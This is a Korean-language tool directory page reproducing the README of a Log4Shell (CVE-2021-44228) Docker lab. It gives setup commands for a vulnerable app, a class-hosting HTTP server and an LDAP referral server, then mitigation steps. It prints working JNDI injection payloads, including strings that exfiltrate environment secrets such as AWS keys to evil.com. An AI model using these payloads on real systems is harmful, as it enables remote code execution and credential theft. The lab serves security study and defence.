Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4shell-docker-lab — Log4Shell (CVE-2021-44228) docker 랩 | Kitploit
도구/GitHubGitHub/axelcurmi/log4shell-docker-lab
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubaxelcurmi/log4shell-docker-lab

log4shell-docker-lab

Log4Shell (CVE-2021-44228) docker 랩

저장소 보기
134년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-44228용 Log4Shell 도커 랩

구성 요소

이 도커 랩은 다음 세 가지 구성 요소를 사용합니다:

  • 취약한 spring-boot 애플리케이션
  • 원격 코드 실행에 사용되는 .class 파일을 호스팅하는 HTTP 서버
  • 특정 LDAP 쿼리를 HTTP 서버로 리디렉션하는 LDAP 리퍼럴 서버

도커 랩 설정

1. 도커 네트워크

root@kitploit:~
docker network create log4shell

2. 도커 이미지 빌드

root@kitploit:~
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec

3. 컨테이너 실행

중요 참고 사항: Windows PowerShell을 사용하는 경우 $(pwd)를 ${pwd}로 바꾸십시오.

root@kitploit:~
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"

익스플로잇

취약한 애플리케이션을 열고, 가짜 테스트 자격 증명을 입력한 다음, log4shell-vulnapp 컨테이너의 로그를 열어보십시오. 애플리케이션이 실패한 로그인 시도를 기록하고 있음을 확인할 수 있습니다 (예: Incorrect login attempt for username 'test'). 이 작은 실험을 통해 로그에 기록되는 문자열의 일부(즉, 사용자 이름)를 제어할 수 있다는 것이 확인됩니다.

다음과 같은 페이로드를 전달하여 코드를 원격으로 실행할 수 있습니다:

root@kitploit:~
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}

원격 코드 실행은 모든 Java 버전에서 수행할 수 있습니다. 단, 다음 목록보다 오래된 Java 버전이 설치된 머신에서는 가능합니다 [1]:

  • 6u211
  • 7u201
  • 8u191
  • 11.0.1

이는 이후 버전에서는 JVM 시스템 속성 com.sun.jndi.ldap.object.trustURLCodebase가 기본적으로 false로 설정되어 임의의 URL 코드 베이스에서 클래스의 JNDI 로딩을 비활성화하기 때문입니다. 그러나 이 취약점에 대한 보호책으로 최신 Java 버전에만 의존하는 것은 위험합니다. 취약한 애플리케이션의 클래스패스에 특정 "가젯(gadget)" 클래스가 포함된 머신에서는 여전히 악용될 수 있으며, DNS 쿼리를 통해 환경 변수와 같은 정보를 얻는 데 사용될 수 있기 때문입니다.

피해자 머신에서 민감한 정보를 노출하는 여러 룩업 대체(lookup substitution)가 있습니다. 가장 대표적으로는 [2, 3]과 유사한 페이로드를 사용하는 것입니다:

root@kitploit:~
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}

참고: spring 룩업 공격 문자열은 애플리케이션에 log4j-spring-cloud-config-client가 포함되어 있어야 합니다. [2]

완화

이 심각한 취약점을 완화하는 가장 좋은 방법은 log4j2를 >= 2.17.0 버전으로 업그레이드하는 것입니다. 그러나 업그레이드 없이도 두 가지 방법을 통해 문제를 완전히 완화할 수 있습니다. 최신 Log4j2 버전으로 업그레이드할 수 없는 벤더는 아래에 명시된 두 가지 완화 방법을 모두 사용하는 것이 강력히 권장됩니다 [1].

방법 1: log4j 2.10.0 이상 - 룩업 비활성화

룩업 비활성화는(전역적으로) /etc/environment 파일을 편집하고 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 추가하여 환경 변수 LOG4J_FORMAT_MSG_NO_LOOKUPS를 true로 설정함으로써 수행할 수 있습니다 [1]

또는 취약한 Java 애플리케이션을 실행할 때 다음 명령줄 플래그를 추가하여 특정 JVM 호출에 대해서만 룩업을 비활성화할 수 있습니다: ‐Dlog4j2.formatMsgNoLookups=True [1]

방법 2: log4j 2.10.0 미만 - 취약한 클래스 제거

log4j 2.10.0 미만 버전을 사용하는 경우, 모든 Java 애플리케이션에서 JndiLookup 클래스를 제거할 수 있습니다.

참고 자료

[1] Menashe, S., (2021). All About Log4Shell 0-Day Vulnerability - CVE-2021-44228. [온라인] JFrog. 이용 가능: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [접속일: 2021년 12월 24일].

[2] Goers, R., (2021). Log4j – Log4j 2 Lookups. [온라인] logging.apache.org. 이용 가능: https://logging.apache.org/log4j/2.x/manual/lookups.html [접속일: 2021년 12월 24일].

[3] Oracle. (2021). System Properties. [온라인] 이용 가능: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [접속일: 2021년 12월 24일].

도구 다운로드